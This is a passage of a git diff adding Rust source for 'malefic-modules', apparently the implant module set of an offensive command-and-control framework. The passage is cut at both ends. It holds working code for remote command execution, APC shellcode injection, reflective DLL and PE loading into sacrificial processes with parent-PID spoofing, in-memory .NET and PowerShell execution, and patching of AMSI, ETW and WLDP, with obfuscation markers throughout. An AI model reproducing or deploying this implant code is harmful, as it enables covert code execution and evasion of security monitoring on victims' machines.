PartialEq, Eq)] +pub struct IUnknownWrapper { + inner: IUnknown, +} + +impl IUnknownWrapper { + pub fn new(ptr: IUnknown) -> Self { + IUnknownWrapper { inner: ptr } + } + + pub fn to_wbem_class_obj(&self) -> WMIResult { + Ok(IWbemClassWrapper { + inner: self.inner.cast::()?, + }) + } +} + +macro_rules! impl_try_from_variant { + ($target_type:ty, $variant_type:ident) => { + impl TryFrom for $target_type { + type Error = WMIError; + + fn try_from(value: Variant) -> Result<$target_type, Self::Error> { + match value { + Variant::$variant_type(item) => Ok(item), + other => Err(WMIError::ConvertVariantError(format!( + "Variant {:?} cannot be turned into a {}", + &other, + stringify!($target_type) + ))), + } + } + } + }; +} + +impl_try_from_variant!(String, String); +impl_try_from_variant!(i8, I1); +impl_try_from_variant!(i16, I2); +impl_try_from_variant!(i32, I4); +impl_try_from_variant!(i64, I8); +impl_try_from_variant!(u8, UI1); +impl_try_from_variant!(u16, UI2); +impl_try_from_variant!(u32, UI4); +impl_try_from_variant!(u64, UI8); +impl_try_from_variant!(f32, R4); +impl_try_from_variant!(f64, R8); +impl_try_from_variant!(bool, Bool); diff --git a/malefic-modules/Cargo.toml b/malefic-modules/Cargo.toml new file mode 100644 index 0000000..981e78f --- /dev/null +++ b/malefic-modules/Cargo.toml @@ -0,0 +1,159 @@ +cargo-features = ["profile-rustflags"] +[package] +name = "malefic-modules" +version = "0.1.1" +edition = "2021" + +[lib] +name = "malefic_modules" +path = "src/lib.rs" +crate-type = ["cdylib", "rlib"] + +# [lib] +# name = "custon-plugin" +# crate-type = ["cdylib"] + +[features] + +default = ["full"] + +disable_register = [] +as_module_dll = ["malefic-module/ffi"] + +nano = [] + +full = ["fs_full", "execute_full", "net_full", "sys_full"] + +base = [ + "ls", "cd", "rm", "cp", "mv", "pwd", "cat", "upload", "download", "exec", "env", "info" +] + +extend = [ + "bypass", + "kill", + "whoami", + "ps", + "netstat", + "registry", + "service", + "taskschd", + "execute_bof", + "execute_shellcode", + "execute_assembly", + "execute_armory", + "execute_exe", + "execute_dll", + "execute_local", + "mkdir", + "touch", + "chmod" +] + +fs_full = [ + "ls", "cd", "rm", "cp", "mv", "pwd", "mem", "mkdir", "chown", "chmod", "cat", "touch", "pipe","enum_drivers" +] + +enum_drivers = [] + +ls = [] +cd = [] +rm = [] +cp = [] +mv = [] +pwd = [] +mem = [] +mkdir = [] +touch = [] +chmod = [] +chown = [] +cat = [] +pipe = ["malefic-os-win/pipe"] + +sys_full = [ + "info", "ps", "id", "env", "whoami", "kill", "bypass", "netstat", "service", "inject", + "registry", "taskschd", + "getsystem", "runas", "privs", "rev2self", + "self_dele", + "wmi" +] + +info = [] +ps = [] +id = [] +env = [] +whoami = [] +kill = [] +bypass = ["malefic-os-win/bypass"] +netstat = [] +service = ["malefic-os-win/service"] +registry = ["malefic-os-win/reg"] +taskschd = ["malefic-os-win/scheduler"] +getsystem = ["malefic-os-win/token"] +runas = ["malefic-os-win/token"] +rev2self = ["malefic-os-win/token"] +privs = ["malefic-os-win/token"] +inject = ["malefic-os-win/token"] +self_dele = [] +wmi = ["malefic-os-win/wmi"] + +execute_full = [ + "execute_assembly", + "execute_powershell", + "dllspawn", + "inline_local", + "exec", + "open", + "execute_shellcode", + "execute_bof", + "execute_armory", + "execute_exe", + "execute_dll", + "execute_local" +] + +exec = [] +open = [] +execute_shellcode = ["malefic-loader/Win_Inject_APC"] +execute_bof = [] +execute_assembly = ["malefic-os-win/clr", "malefic-os-win/bypass", "malefic-sysinfo/clr"] +execute_powershell = ["malefic-os-win/clr", "malefic-os-win/bypass", "malefic-sysinfo/clr"] +execute_armory = [] +execute_exe = [] +execute_dll = [] +execute_local = [] +dllspawn = [] +thread_spawn_test = [] +inline_local = [] + +net = [] +net_full = ["upload", "download"] + +upload = [] +download = [] + + +[dependencies] +anyhow = { workspace = true } +futures = { workspace = true } +futures-channel = { workspace = true } +futures-timer = { workspace = true } +malefic-gateway = { workspace = true } +malefic-features = { workspace = true } +async-trait = { workspace = true } +malefic-common = { workspace = true } +malefic-process = { workspace = true } +malefic-net = { workspace = true } +malefic-sysinfo = { workspace = true } +malefic-loader = { workspace = true } +malefic-proto = { workspace = true } +malefic-module = { workspace = true } +tar = { workspace = true } + +[target.'cfg(target_os = "windows")'.dependencies] +malefic-os-win = { workspace = true } + + +[dev-dependencies] +tokio = { workspace = true, features = ["rt", "rt-multi-thread", "macros", "time"] } +futures-channel = { workspace = true } +sha2 = { workspace = true } diff --git a/malefic-modules/src/execute/dllspawn.rs b/malefic-modules/src/execute/dllspawn.rs new file mode 100644 index 0000000..39c048e --- /dev/null +++ b/malefic-modules/src/execute/dllspawn.rs @@ -0,0 +1,63 @@ +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::reflective_loader::reflective_loader; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct ExecuteDllSpawn {} + +#[async_trait] +#[module_impl("dllspawn")] +impl Module for ExecuteDllSpawn {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteDllSpawn { + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + _sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let bin = request.bin; + let params = request.args; + let process_name = request.process_name; + let entrypoint = request.entry_point; + let data = request.data; + let mut result: Vec = Vec::new(); + let error; + + if let Some(sacrifice) = request.sacrifice { + let cmdline = format_cmdline(process_name, params); + unsafe { + result = reflective_loader( + cmdline.as_ptr() as _, + cmdline.len(), + entrypoint.as_ptr() as _, + entrypoint.len(), + bin.as_ptr() as _, + bin.len(), + data.as_ptr() as _, + data.len(), + sacrifice.ppid, + sacrifice.block_dll, + 0, + request.output, + ) + } + error = String::new(); + } else { + error = malefic_gateway::obfstr::obfstr!("sacrifice is none").to_string(); + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: error, + }), + )) + } +} diff --git a/malefic-modules/src/execute/exec.rs b/malefic-modules/src/execute/exec.rs new file mode 100644 index 0000000..a8550e5 --- /dev/null +++ b/malefic-modules/src/execute/exec.rs @@ -0,0 +1,146 @@ +use futures::channel::mpsc::{self, UnboundedReceiver, UnboundedSender}; +use futures::{AsyncReadExt, FutureExt, SinkExt}; +use futures_timer::Delay; +use std::time::Duration; + +use crate::prelude::*; +use malefic_process::{async_command, run_command}; +use malefic_proto::proto::modulepb::ExecResponse; + +pub struct Exec {} + +#[derive(Debug)] +enum OutputData { + Stdout(Vec), + Stderr(Vec), +} + +// Asynchronously read pipe data and send to channel +async fn read_pipe_async( + mut reader: R, + sender: UnboundedSender, + is_stdout: bool, +) { + let mut buffer = vec![0; 4096]; + + loop { + match reader.read(&mut buffer).await { + Ok(0) => break, // EOF + Ok(n) => { + let data = buffer[..n].to_vec(); + let output = if is_stdout { + OutputData::Stdout(data) + } else { + OutputData::Stderr(data) + }; + + if sender.unbounded_send(output).is_err() { + break; // Channel closed + } + } + Err(_) => break, // Read error + } + } +} + +#[async_trait] +#[module_impl("exec")] +impl Module for Exec {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Exec { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { + let request = check_request!(receiver, Body::ExecRequest)?; + let mut exec_response = ExecResponse::default(); + + if request.realtime && request.output { + // Mode 1: Realtime streaming — send output chunks every second + let mut child = async_command(request.path, request.args)?; + let stdout = child.stdout.take().unwrap(); + let stderr = child.stderr.take().unwrap(); + let pid = child.id(); + + let (sender_ch, mut receiver_ch) = mpsc::unbounded::(); + let stdout_task = read_pipe_async(stdout, sender_ch.clone(), true); + let stderr_task = read_pipe_async(stderr, sender_ch, false); + let background_task = async { + futures::join!(stdout_task, stderr_task); + } + .fuse(); + futures::pin_mut!(background_task); + + let collect_data = + |receiver: &mut UnboundedReceiver| -> (Vec, Vec) { + let (mut stdout_data, mut stderr_data) = (Vec::new(), Vec::new()); + while let Ok(Some(data)) = receiver.try_next() { + match data { + OutputData::Stdout(data) => stdout_data.extend_from_slice(&data), + OutputData::Stderr(data) => stderr_data.extend_from_slice(&data), + } + } + (stdout_data, stderr_data) + }; + + loop { + futures::select! { + _ = Delay::new(Duration::from_secs(1)).fuse() => { + let (stdout_data, stderr_data) = collect_data(&mut receiver_ch); + + if !stdout_data.is_empty() || !stderr_data.is_empty() { + let response = ExecResponse { + pid, + stdout: stdout_data, + stderr: stderr_data, + end: false, + ..Default::default() + }; + sender.send(TaskResult::new_with_body(id, Body::ExecResponse(response))).await?; + } + } + _ = background_task => { + let (stdout_data, stderr_data) = collect_data(&mut receiver_ch); + let status_code = child.try_status().ok().flatten().map(|s| s.code().unwrap_or(0)).unwrap_or(-1); + + let response = ExecResponse { + pid, + stdout: stdout_data, + stderr: stderr_data, + status_code, + ..Default::default() + }; + sender.send(TaskResult::new_with_body(id, Body::ExecResponse(response))).await?; + break; + } + } + } + } else if request.realtime { + let child = run_command(request.path, request.args)?; + } else if request.output { + // Mode 2: Wait for process, collect all output at once + let child = async_command(request.path, request.args)?; + exec_response.pid = child.id(); + let output = child.output().await?; + exec_response.status_code = output.status.code().unwrap_or(0); + exec_response.stdout = output.stdout; + exec_response.stderr = output.stderr; + } else { + // Mode 3: Fire-and-forget background execution, return PID only + let child = async_command(request.path, request.args)?; + exec_response.pid = child.id(); + exec_response.status_code = 0; + } + + exec_response.end = true; + Ok(TaskResult::new_with_body( + id, + Body::ExecResponse(exec_response), + )) + } +} diff --git a/malefic-modules/src/execute/execute_armory.rs b/malefic-modules/src/execute/execute_armory.rs new file mode 100644 index 0000000..99f4cc7 --- /dev/null +++ b/malefic-modules/src/execute/execute_armory.rs @@ -0,0 +1,116 @@ +use core::ffi::c_void; +use futures::channel::mpsc::{unbounded, UnboundedReceiver, UnboundedSender}; +use futures::executor::block_on; +use futures::StreamExt; +use std::ptr::null_mut; +use std::sync::{Arc, Mutex}; + +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::apis::m_get_func_addr_with_module_base; +use malefic_os_win::kit::pe::{hijack_commandline, load_pe}; +use malefic_os_win::kit::MaleficModule; +use malefic_os_win::types::DllMain; +use malefic_proto::proto::modulepb::BinaryResponse; + +malefic_gateway::lazy_static! { + static ref ARMORY_CHANNEL: Arc, UnboundedReceiver)>> = { + let (sender, receiver) = unbounded(); // Use futures unbounded channel + Arc::new(Mutex::new((sender, receiver))) + }; +} + +const SUCCESS: usize = 0; +type ArmoryCallback = extern "C" fn(*const c_void, usize) -> usize; +type ArmoryFunc = extern "C" fn(*const c_void, usize, ArmoryCallback) -> usize; + +#[obfuscate] +pub extern "C" fn armory_callback(data: *const c_void, data_len: usize) -> usize { + let channel = ARMORY_CHANNEL.clone(); + let final_data; + if data_len > 0 && !data.is_null() { + let out_bytes: &[u8] = unsafe { core::slice::from_raw_parts(data as *const u8, data_len) }; + final_data = String::from_utf8(out_bytes.to_vec()).unwrap_or_default(); + } else { + final_data = "Received null data or zero length.".to_string(); + } + block_on(async { + if let Ok(channel) = channel.lock() { + let _ = channel.0.unbounded_send(final_data); // Use unbounded_send instead of send + } + }); + SUCCESS +} + +pub struct ExecuteArmory {} + +#[async_trait] +#[module_impl("execute_armory")] +impl Module for ExecuteArmory {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteArmory { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let name = request.name + "\x00"; + let entrypoint = request.entry_point; + let bin = request.bin; + let need_output = request.output; + let mut ret: Vec = Vec::new(); + let par = if request.args.is_empty() { + None + } else { + Some(format_cmdline(request.process_name, request.args)) + }; + unsafe { + let armory = load_pe(bin, None, None) as *const MaleficModule; + if armory.is_null() { + return to_error!(Err("Armory load failed, Failed to load PE file".to_string())); + } + hijack_commandline(&par); + let armory_entrypoint = + m_get_func_addr_with_module_base((*armory).new_module as _, entrypoint.as_bytes()); + if armory_entrypoint.is_null() { + return to_error!(Err("Failed to get entrypoint function address".to_string())); + } + + let args = par.unwrap_or_default() + "\x00"; + let _ = std::mem::transmute::((*armory).entry_point as _)( + (*armory).new_module as _, + 1, + null_mut(), + ); + let _ = std::mem::transmute::(armory_entrypoint as _)( + args.as_ptr() as _, + args.len(), + armory_callback, + ); + let receiver = ARMORY_CHANNEL.clone(); + block_on(async { + if let Ok(mut channel_guard) = receiver.lock() { + if let Some(data) = channel_guard.1.next().await { + ret = data.as_bytes().to_vec(); + } + } + malefic_os_win::kit::pe::unload_pe(armory as _); + }); + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: ret, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_assembly.rs b/malefic-modules/src/execute/execute_assembly.rs new file mode 100644 index 0000000..0e44f31 --- /dev/null +++ b/malefic-modules/src/execute/execute_assembly.rs @@ -0,0 +1,64 @@ +use crate::prelude::*; +use malefic_os_win::kit::bypass::{ + bypass_amsi, bypass_etw, bypass_wldp, enable_amsi, enable_etw, enable_wldp, +}; +use malefic_os_win::kit::clr::exec_assemble_in_memory; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct ExecuteAssembly {} + +#[async_trait] +#[module_impl("execute_assembly")] +impl Module for ExecuteAssembly {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteAssembly { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let amsi_bypass = request.param.contains_key("bypass_amsi"); + let etw_bypass = request.param.contains_key("bypass_etw"); + let wldp_bypass = request.param.contains_key("bypass_wldp"); + + let bin = request.bin; + let result: Vec; + unsafe { + if amsi_bypass { + bypass_amsi(); + } + if etw_bypass { + bypass_etw(); + } + if wldp_bypass { + bypass_wldp(); + } + let ret = exec_assemble_in_memory(&bin, request.args); + result = ret.as_bytes().to_vec(); + if amsi_bypass { + enable_amsi(); + } + if etw_bypass { + enable_etw(); + } + if wldp_bypass { + enable_wldp(); + } + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_bof.rs b/malefic-modules/src/execute/execute_bof.rs new file mode 100644 index 0000000..e9cfb68 --- /dev/null +++ b/malefic-modules/src/execute/execute_bof.rs @@ -0,0 +1,46 @@ +use crate::prelude::*; +use malefic_os_win::kit::bof::bof_loader; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct ExecuteBof {} + +#[async_trait] +#[module_impl("bof")] +impl Module for ExecuteBof {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteBof { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let bin = &request.bin; + let args = &request.args; + let ep: Option; + if request.entry_point.is_empty() { + ep = None + } else { + ep = Some(request.entry_point) + } + let result: Vec; + unsafe { + let ret = bof_loader(bin, args, ep); + result = ret.as_bytes().to_vec(); + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_dll.rs b/malefic-modules/src/execute/execute_dll.rs new file mode 100644 index 0000000..20e8dde --- /dev/null +++ b/malefic-modules/src/execute/execute_dll.rs @@ -0,0 +1,90 @@ +#![allow(unused_assignments)] +use std::ptr::null; + +use crate::execute::Arch; +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct ExecuteDll {} + +#[async_trait] +#[module_impl("execute_dll")] +impl Module for ExecuteDll {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteDll { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let timeout = request.timeout; + let delay = request.delay; + let need_output = request.output; + let is_x86 = matches!(Arch::from_u32(request.arch), Some(Arch::I686)); + let entrypoint = request.entry_point; + let data = request.data; + let mut result: Vec = Vec::new(); + if let Some(sacrifice) = request.sacrifice { + let cmdline = format_cmdline(request.process_name, request.args); + let argue = sacrifice.argue; + let (start_commandline, hijack_commandline) = if argue.is_empty() { + (cmdline, String::new()) + } else { + (argue, cmdline) + }; + unsafe { + result = run_pe( + start_commandline.as_bytes(), + hijack_commandline.as_bytes(), + &request.bin, + entrypoint.as_bytes(), + &data, + is_x86, + sacrifice.ppid, + sacrifice.block_dll, + request.output, + ); + } + } else { + let cmdline = if request.args.is_empty() { + String::new() + } else { + format_cmdline(request.process_name, request.args) + }; + + unsafe { + result = inline_pe( + request.bin.as_ptr() as _, + request.bin.len(), + null(), + null(), + cmdline.as_ptr() as _, + cmdline.len(), + entrypoint.as_ptr() as _, + entrypoint.len(), + true, + need_output, + timeout, + delay, + ); + } + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_exe.rs b/malefic-modules/src/execute/execute_exe.rs new file mode 100644 index 0000000..d045929 --- /dev/null +++ b/malefic-modules/src/execute/execute_exe.rs @@ -0,0 +1,92 @@ +#![allow(unused_assignments)] +use std::ptr::null; + +use crate::execute::Arch; +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_module::{Module, ModuleResult, TaskResult}; +use malefic_os_win::kit::pe::{inlinepe::inline_pe, runpe::run_pe}; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct ExecuteExe {} + +#[async_trait] +#[module_impl("execute_exe")] +impl Module for ExecuteExe {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteExe { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let is_x86 = matches!(Arch::from_u32(request.arch), Some(Arch::I686)); + let entrypoint = request.entry_point; + let data = request.data; + + let mut result: Vec = Vec::new(); + + if let Some(sacrifice) = request.sacrifice { + let cmdline = format_cmdline(request.process_name, request.args); + debug!("{}", cmdline); + let argue = sacrifice.argue; + let (start_commandline, hijack_commandline) = if argue.is_empty() { + (cmdline, String::new()) + } else { + (argue, cmdline) + }; + unsafe { + result = run_pe( + start_commandline.as_bytes(), + hijack_commandline.as_bytes(), + &request.bin, + entrypoint.as_bytes(), + &data, + is_x86, + sacrifice.ppid, + sacrifice.block_dll, + request.output, + ); + } + } else { + let par = if request.args.is_empty() { + String::new() + } else { + format_cmdline(request.process_name, request.args) + }; + debug!("{}", par); + unsafe { + result = inline_pe( + request.bin.as_ptr() as _, + request.bin.len(), + null(), + null(), + par.as_ptr() as _, + par.len(), + entrypoint.as_ptr() as _, + entrypoint.len(), + false, + request.output, + // 1000 + request.timeout, + request.delay, + ); + } + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_local.rs b/malefic-modules/src/execute/execute_local.rs new file mode 100644 index 0000000..5e08457 --- /dev/null +++ b/malefic-modules/src/execute/execute_local.rs @@ -0,0 +1,55 @@ +use std::ptr::null_mut; + +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::run_sacrifice; +use malefic_proto::proto::modulepb::BinaryResponse; +use malefic_sysinfo::filesys::get_binary; + +pub struct ExecuteLocal {} + +#[async_trait] +#[module_impl("execute_local")] +impl Module for ExecuteLocal {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteLocal { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + + let mut exec_response = BinaryResponse::default(); + let mut result: Vec = Vec::new(); + + let (bin_content, bin_name) = to_error!(get_binary(&request.path))?; + if let Some(sacrifice) = request.sacrifice { + let cmdline = format_cmdline(request.process_name, request.args); + let (real_commandline, hijack_commandline) = if sacrifice.argue.is_empty() { + (cmdline, String::new()) + } else { + (sacrifice.argue, cmdline) + }; + unsafe { + result = run_sacrifice( + null_mut(), + real_commandline.as_bytes(), + hijack_commandline.as_bytes(), + sacrifice.ppid, + request.output, + sacrifice.block_dll, + ); + } + } + exec_response.data = result; + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(exec_response), + )) + } +} diff --git a/malefic-modules/src/execute/execute_powershell.rs b/malefic-modules/src/execute/execute_powershell.rs new file mode 100644 index 0000000..97f8459 --- /dev/null +++ b/malefic-modules/src/execute/execute_powershell.rs @@ -0,0 +1,53 @@ +use crate::prelude::*; +use malefic_os_win::kit::bypass::{bypass_amsi, bypass_etw, enable_amsi, enable_etw}; +use malefic_os_win::kit::pwsh::pwsh_exec_command; +use malefic_proto::proto::modulepb::BinaryResponse; +pub struct ExecutePowershell {} + +#[async_trait] +#[module_impl("powerpick")] +impl Module for ExecutePowershell {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecutePowershell { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let amsi_bypass = request.param.contains_key("bypass_amsi"); + let etw_bypass = request.param.contains_key("bypass_etw"); + + let script = String::from_utf8(request.bin).expect("Invalid UTF-8 sequence"); + let result: Vec; + unsafe { + if amsi_bypass { + bypass_amsi(); + } + if etw_bypass { + bypass_etw(); + } + let ret = pwsh_exec_command(&script); + result = ret.as_bytes().to_vec(); + if amsi_bypass { + enable_amsi(); + } + if etw_bypass { + enable_etw(); + } + } + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/execute_shellcode.rs b/malefic-modules/src/execute/execute_shellcode.rs new file mode 100644 index 0000000..c446007 --- /dev/null +++ b/malefic-modules/src/execute/execute_shellcode.rs @@ -0,0 +1,76 @@ +#![allow(unused_assignments)] +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_proto::proto::modulepb::BinaryResponse; + +#[cfg(target_os = "windows")] +use malefic_loader::win::apc::LoaderType; + +pub struct ExecuteShellcode {} + +#[async_trait] +#[module_impl("execute_shellcode")] +impl Module for ExecuteShellcode {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for ExecuteShellcode { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let bin = request.bin; + let sacrifice = request.sacrifice; + let params = request.args; + let process_name = request.process_name; + let mut is_need_sacrifice = false; + let mut ppid = 0; + let mut is_block_dll = false; + let mut ret: Vec = Vec::new(); + let cmdline = format_cmdline(process_name, params); + + #[cfg(target_os = "windows")] + let loader_type = LoaderType::from_str(&request.r#type); + + #[cfg(target_os = "windows")] + debug!("loader_type: {:?}", loader_type); + unsafe { + if sacrifice.is_some() { + let sacrifice = sacrifice.unwrap(); + is_need_sacrifice = true; + ppid = sacrifice.ppid; + is_block_dll = sacrifice.block_dll; + } + #[cfg(target_os = "windows")] + { + ret = to_error!(malefic_loader::win::loader( + bin, + is_need_sacrifice, + cmdline.as_ptr() as _, + ppid, + is_block_dll, + request.output, + loader_type as u32 + ))?; + } + #[cfg(target_os = "linux")] + { + ret = to_error!(malefic_loader::linux::loader(bin, request.output))?; + } + } + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: ret, + err: "".to_string(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/inline_local.rs b/malefic-modules/src/execute/inline_local.rs new file mode 100644 index 0000000..df4b7d7 --- /dev/null +++ b/malefic-modules/src/execute/inline_local.rs @@ -0,0 +1,61 @@ +#![allow(unused_assignments)] +use std::ptr::null; + +use crate::prelude::*; +use malefic_common::utils::format_cmdline; +use malefic_os_win::kit::pe::inlinepe::inline_pe; +use malefic_proto::proto::modulepb::BinaryResponse; +use malefic_sysinfo::filesys::get_binary; + +pub struct InlineLocal; + +#[async_trait] +#[module_impl("inline_local")] +impl Module for InlineLocal {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for InlineLocal { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> ModuleResult { + let request = check_request!(receiver, Body::ExecuteBinary)?; + let (bin_content, bin_name) = to_error!(get_binary(&request.path))?; + + let parameters = if request.args.is_empty() { + String::new() + } else { + format_cmdline(bin_name.clone(), request.args) + }; + let result = unsafe { + inline_pe( + bin_content.as_ptr() as _, + bin_content.len(), + null(), + null(), + parameters.as_ptr() as _, + parameters.len(), + request.entry_point.as_ptr() as _, + request.entry_point.len(), + false, + request.output, + request.timeout, + request.delay, + ) + }; + + Ok(TaskResult::new_with_body( + id, + Body::BinaryResponse(BinaryResponse { + status: 0, + message: Vec::new(), + data: result, + err: String::new(), + }), + )) + } +} diff --git a/malefic-modules/src/execute/mod.rs b/malefic-modules/src/execute/mod.rs new file mode 100644 index 0000000..9219cb4 --- /dev/null +++ b/malefic-modules/src/execute/mod.rs @@ -0,0 +1,69 @@ +#[cfg(feature = "exec")] +pub mod exec; +#[cfg(feature = "execute_shellcode")] +pub mod execute_shellcode; + +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_armory")] +pub mod execute_armory; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_assembly")] +pub mod execute_assembly; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_bof")] +pub mod execute_bof; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_dll")] +pub mod execute_dll; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_exe")] +pub mod execute_exe; +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_powershell")] +pub mod execute_powershell; + +#[cfg(target_os = "windows")] +#[cfg(feature = "execute_local")] +pub mod execute_local; + +#[cfg(target_os = "windows")] +#[cfg(feature = "dllspawn")] +pub mod dllspawn; + +#[cfg(target_os = "windows")] +#[cfg(feature = "inline_local")] +pub mod inline_local; +#[cfg(feature = "open")] +pub(crate) mod open; + +#[cfg_attr(debug_assertions, derive(Debug))] +#[derive(PartialEq, Eq)] +#[repr(u32)] +pub enum Arch { + I686 = 0, + X86_64 = 1, + Arm = 2, + Aarch64 = 3, + Mips = 4, + Powerpc = 5, + Powerpc64 = 6, + Riscv32 = 7, + Riscv64 = 8, +} + +impl Arch { + pub fn from_u32(value: u32) -> Option { + match value { + 0 => Some(Arch::I686), + 1 => Some(Arch::X86_64), + 2 => Some(Arch::Arm), + 3 => Some(Arch::Aarch64), + 4 => Some(Arch::Mips), + 5 => Some(Arch::Powerpc), + 6 => Some(Arch::Powerpc64), + 7 => Some(Arch::Riscv32), + 8 => Some(Arch::Riscv64), + _ => None, + } + } +} diff --git a/malefic-modules/src/execute/open.rs b/malefic-modules/src/execute/open.rs new file mode 100644 index 0000000..bec134f --- /dev/null +++ b/malefic-modules/src/execute/open.rs @@ -0,0 +1,42 @@ +use crate::prelude::*; +use malefic_process::exec; +use malefic_process::exec::is_file_in_use; +use malefic_proto::proto::modulepb::ExecResponse; + +pub struct Open {} + +#[async_trait] +#[module_impl("open")] +impl Module for Open {} + +#[async_trait] +#[obfuscate] +impl malefic_module::ModuleImpl for Open { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + ) -> malefic_module::ModuleResult { + let request = check_request!(receiver, Body::ExecRequest)?; + if is_file_in_use(&request.path) && request.singleton { + Ok(TaskResult::new_with_body( + id, + Body::ExecResponse(ExecResponse { + status_code: 0, + stdout: "File is in use, skipped".as_bytes().to_vec(), + stderr: vec![], + pid: 0, + end: true, + }), + )) + } else { + exec::shell_execute(&request.path, "open")?; + Ok(TaskResult::new_with_body( + id, + Body::ExecResponse(ExecResponse::default()), + )) + } + } +} diff --git a/malefic-modules/src/fs/cat.rs b/malefic-modules/src/fs/cat.rs new file mode 100644 index 0000000..feded49 --- /dev/null +++ b/malefic-modules/src/fs/cat.rs @@ -0,0 +1,32 @@ +use crate::prelude::*; +use malefic_proto::proto::modulepb::BinaryResponse; + +pub struct Cat {} + +#[async_trait] +#[module_impl("cat")] +impl Module for Cat {} + +#[async_trait] +#[obfuscate] +impl ModuleImpl for Cat { + #[allow(unused_variables)] + async fn run( + &mut self, + id: u32, + receiver: &mut malefic_module::Input, + sender: &mut malefic_module::Output, + 